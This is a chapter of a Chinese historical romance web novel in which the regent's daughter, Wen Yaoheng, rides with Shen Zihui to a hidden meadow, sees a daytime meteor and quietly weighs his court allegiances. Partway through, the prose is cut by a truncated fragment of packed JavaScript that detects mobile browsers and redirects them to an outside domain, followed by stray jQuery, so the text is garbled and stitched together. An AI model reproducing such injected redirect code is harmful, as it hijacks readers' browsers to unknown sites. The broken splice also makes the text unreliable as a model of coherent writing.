“再往前走就是皇宫了啊?你要带我去哪啊?”
温遥珩一直跟在沈子回身后,走了许久,终于忍不住发出疑问。
“白草原,听过么?”沈子回道,“会骑马么?上山骑马快些。”
“会。”温遥珩答,之后又问:“白草原?京中有这地方么?”
她倒是知道皇宫中有个“白草苑”,只是听闻这白草苑平日没什么人打理,所以哪怕是皇家园林也没什么存在感。
沈子回不答,只是领着她来到一家店铺里、报了自己的名字,随后便从店后取了两匹马来。
温遥珩还有些吃惊;她看得出来,沈子回牵着的两匹马都是市井中难买的好马。
“驾!”而沈子回只是略抬手扬了下马鞭,他坐下的马匹便已跑了起来。
温遥珩赶忙跟上。
柔和的春风带着初夏的暖气扑面而来,不知为何竟有些醉人;当跟着沈子回绕过了皇宫、看见不远处的山峰出现,温遥珩才后知后觉地反应过来,不知不觉,今日出来的时间已比预料中久了很多。
“就在前面!你同摄政王那边关系不紧密,估计也是不知道——宫里人人都知晓紫禁城里的白草苑荒芜——却不知道它连着的平原,看着只是个小土坡,实则景色美极了!”
“这样吗?我还真不知道——”
沈子回的声音在风中有些不清晰,但温遥珩却也听清了他说的是什么。
她知道自己的声音此刻或许也有些失真,所以此时也放大了声量。
“我还真的不知道呢?”而回完沈子回的话,她又喃喃重复了一遍。
漫山遍野的春花出现在山坡的那头,而缤纷的花朵之后,则是一片雪白的梅花林。
正值暮春,雪梅将落未落,二人驰过开满野花的山坡,漫山遍野便成了一片白色。
那白色夹杂着新绿,就如是梦中的景色。
温遥珩不由拉紧了缰绳;而前面的沈子回也似与她心有灵犀,放慢了马匹奔跑的速度。
“这里……”温遥珩张张口,却是不知怎么评价。
京中竟还有这么美的地方。
“漂亮吧?”沈子回的马最终停在了白与彩交界的地方。
“我也是偶然发现的。这些白梅应是哪年宫内淘汰下来的劣种,被宫人倒来这边了。”
“那倒种子的人定是没想到,现在这些劣种也已开成一片花海。”
沈子回笑的灿烂,翻身下马,向温遥珩伸出手。
温遥珩怔了怔,却没拒绝;搭着他的手跃下马来。
视野中,这“白草原”说到底也并不大,只不过是个稍有坡度的小土坡而已;但此时,他们的一侧是绚烂山花,一侧则是茂密的梅林。各种说不出名字的野花与野草摇曳着被风吹得沙沙作响,春风拂过白色的梅花,飘摇的花瓣,便亦像春日的雪落下。
置身其中,温遥珩只觉着周遭的一切都好像“活了过来”、令她一时不知身处何处。
而就是如此,当望见不远处的原野边缘架着龙旗,温遥珩这才反应过来,这白草原竟也是皇室管控的地界。
只是这地方看着便人迹罕至,想来也是被宫里的人遗忘许久了。
“这是皇家的地方吧,我们就这么随便进来了?”
下午的阳光还有些刺眼,温遥珩眨了眨眼睛。
“没事的,这地方我常来。”沈子回说,“没人。”
他安慰般朝温遥珩笑笑,露出好看的小虎牙。
而实际上,温遥珩虽这么说却并不担心——毕竟要是真被人发现了,她只要报出自己的身份便好。
于是看着沈子回的笑,她只是点头。
二人便一时无话。
“怎么发现这里的?这里好漂亮。”沉默了好一会、见气氛渐渐有些尴尬,温遥珩思忖半刻便开口问。
“要是让宫里的人知道了,这地方怕是会变成后妃们日日来的地方吧?”她笑着打趣。
沈子回听见她的话也笑了,“自己瞎跑发现的。”
“我很少出门,少时被父亲锁在房间里便总想着逃出去玩……总有那么几次找到机会跑出来……自从找到这里,我一呆就是一整天。”
——这倒令温遥珩有些意外了。
毕竟在她的认识里,哪怕这里景色再美,沈子回也不像是能一呆呆一整天的人。
“你父亲那么严厉么?不许你出门?”
当然,温遥珩自觉也没必要戳破他夸张的说法;于是只是问。
“也还好。”沈子回却是耸了耸肩,道,“当初一逃出去被抓回来了就被关禁闭……但后来也算明白、他也是有苦衷的。”
“你呢?你是自己入京来的么?”
温遥珩默了默;罚就罚了,还有什么“苦衷”?但到底是人家家事她也不好评论……于是只回答了沈子回最后的问题,说了声“是”。
温家那些旁氏的情况倒确实如她先前同沈子回说的那样,他们摄政王府与宗族其他人似乎都并不亲近;温遥珩猜到是父亲与族里有些龃龉,但具体如何她却也不知。
于是乎回答沈子回时,她甚至都没想起温家旁支里有哪个同她年纪相仿的小辈。
“你自己上京了,父母也放心啊?”然后,她就听沈子回嘟囔了声。
温遥珩回过神来,微微一笑。
入京赶考于寻常人来说也是平常,而沈子回之所以有此感慨……恐怕是看出她年纪很轻、还是个女孩子吧。
“有侍卫呢。”于是她轻声说。“我们那穷乡僻壤的,哪里比得上京城。”
“有机会总是要来见见世面。”
“这样么。”沈子回笑了笑,也没再问;过了好一会,才又说:“你现在还在衙门里当差么。”
温遥珩一愣,失笑,随即摇头:“没……我也不瞒你,先前之所以在衙门,还是有人让我帮忙办事、把我安排进去的。”
“温遥珩?”
“……!!”——在听见沈子回喊出自己的名字,她几乎心脏骤停。
“摄政王的女儿,你是在为她办事吧?我猜到了。”
“……”
听见了沈子回后半句话,温遥珩一颗刚被吊起来的心,又安安稳稳地放了回去。
“是,你怎么猜到的?”而沈子回如此想,她就索性接了对方的话茬、佯装惊讶道。
沈子回笑:“我们第一次见面时的案子听说结了案,但阁中香的事,却是一点也没传出来。”
“想到你应是直接告诉最上边的人了。”
“聪明。”
温遥珩唇角微微上扬,笑眼映着漫山春色,纯然一副寻常人家少女的模样。
——但当她低下头去,眼中笑意却已只剩半分。
沈子回说话,也太过理所当然。
朝堂中事从来不是一商贾之子能妄言的,即便沈子回向来不羁,也不该毫无敬畏。
在温遥珩的眼里,会如此自然地提起朝中事的人,一是傻瓜,二是这人本身就深处其中。
沈子回看上去可不像前者。
他是谁的人呢?身为沈家子难道是在为皇后办事?
倒也不像,毕竟先前阁中香一事还是他提起来的、皇后看着也并不知情。
那便是皇帝、太子的人二选一了。
——温遥珩从没将二皇子穆祉谦放在考虑的范围里,毕竟身为沈家人为对家办事……实在是太过荒谬。
而皇帝、太子二人之中,她则是偏向于太子。
对于她来说,这既是一种莫名的直觉,也是因为皇帝很多时候连臣子都不放在眼里,更不会去拉拢沈子回这么一个“纨绔子弟”。
这瘸腿太子穆祉渊,日后或许会是个大麻烦……
在沈子回看不见的地方,温遥珩眸色微沉。
“琢远,快看!”温遥珩短暂出神几秒,便已听见沈子回的声音有了些距离。
“什么……?”
“天上!”沈子回回过头,眼睛亮晶晶地看着她又喊了句,“流星!”
温遥珩惊讶抬头。
一个不太明显的白色小点拖着细长的尾巴划过天际,夏天的天暗得很晚,此时的天空仍亮如白昼。
流星飞得很快,但沈子回发现它时它应才刚刚出现;温遥珩抬头时,它还飞在正空。
沈子回追着那流星跑了一段,温遥珩不想跑,但见着他似乎都要出了视野,还是跟着跑了上去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607082|172105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>二人便在草地上,见着那流星消失在了地平线。
“白昼流星!我们太幸运了!”沈子回的笑意都掩饰不住,看向温遥珩。
“你许愿了么?听我父亲说,见到流星一定要许愿;神仙会实现你的愿望。”
“我父亲也这么说。”温遥珩笑。
朝中臣子大多把什么“流星”一类的天象当作凶兆,她曾经也这么觉得,却在同父亲谈到此事时听见了对方的叹气。
那时,温晏不仅是流星是吉兆,还说冲着流星许愿,愿望就一定会实现。
没想到沈子回的父亲,竟然也这么想。
“你许了什么愿望?”而温遥珩正想着,便听沈子回问。
“保密。”
她做了个“嘘声”的手势,微微一笑。
——她许的愿望,是大业必成,天下太平。
“不说便不说。”沈子回佯装不满;而就当温遥珩以为他生气了的时候,她看过去,却见沈子回还是笑了:“我许的愿望,是好友亲朋日日身体康健、喜乐长安。”
“还有,希望你,事事得偿所愿。”
温遥珩一愣;下意识问了句:“什么?”
“总感觉,你与京中那些闺秀都不同。”沈子回耸了耸肩,“分明还是个小姑娘呢,却像是心里藏着事。”
“你也不说,我也就不问了。”沈子回无奈笑笑,回眸。
“很晚了,你不用回去么。”
温遥珩抿了抿唇,沉默了好一会后说了句。
——而沈子回不语,只仍是笑着。
“你……”温遥珩下意识张了张口,却有些不知道该说什么;她甚少与同龄人打交道,更别说是沈子回这样的并不出身名门的少年郎。
温遥珩常觉得这个年纪的少年太过幼稚,可沈子回的出现,却有些改变了她的想法。
就像是劲竹浸了雪,亮晶晶的看上去像是装饰像是什么易碎品;可摸到了才知道,那里面是端直的芯子。
像沈子回看着像是个不学无术的莽撞笨蛋实际上却很敏锐;温遥珩毫不怀疑,若沈子回入了朝当了官,也会是个体谅民生多艰的好官。
“我晚些回去也无妨,看你。”沈子回的声音从旁边传来。
在两人说话短短的一刻钟里,天从白色变得橙黄,又再变得一片昏黑。
“不过今日确实有些晚了,要么,我们就改日再约着出来吧?”沈子回又说。“你现在在同谁住在一起?那么晚回去,人家要担心了吧。”
温遥珩“嗯”了一声,听了沈子回的话,下意识看了看天空。
繁星与明月已渐渐升起——不由令她心中一紧。
虽然摄政王府从没有什么“宵禁”一说,但这还是她头一次在没同人说的情况下这么晚还没回府。
“你先前不是说,给我带你写的文章么?”
温遥珩默了默,却忽然道。
离入夜虽还有几个时辰,既然已经晚了,再晚些,又何妨。
——当然她心里也知道,再多也只是借口,只是她自己还不想回去罢了。
“啊……我忘记了。”沈子回听她忽然的话也是一愣,随后则是挠了挠头,似有些不好意思,“下次……欸,这个点,书院应还未关落锁……”
“要么我们去看看?”
沈子回语气中带着试探,没有冒犯之意,只是单纯地征求温遥珩的意见。
温遥珩知道他说的“书院”应是京中大多官宦子弟去的“白鹭书院”,那里是皇上钦点的“状元书院”,很受学生们欢迎;那里的讲师大多是些辞业的文臣,更有些是颇有威望的文坛泰斗,许多高官子弟都费尽心思想将自家孩子塞进书院里。
温遥珩甚至听闻当今太子穆祉渊也在那就读过一段时日——因着当初的太子太傅不愿单独为一人开课,于是太子便也依着老师去了书院;只是坐在屏风后、同其他人隔开了。
若沈子回在那念书,那,那里应也会有他写的文章。
只是……温遥珩并没有想到沈子回会突然这么说,一时不免怔愣。
“去吗?”沈子回见她不答,犹豫着又问了句。
“去。”
温遥珩则是坚定答道。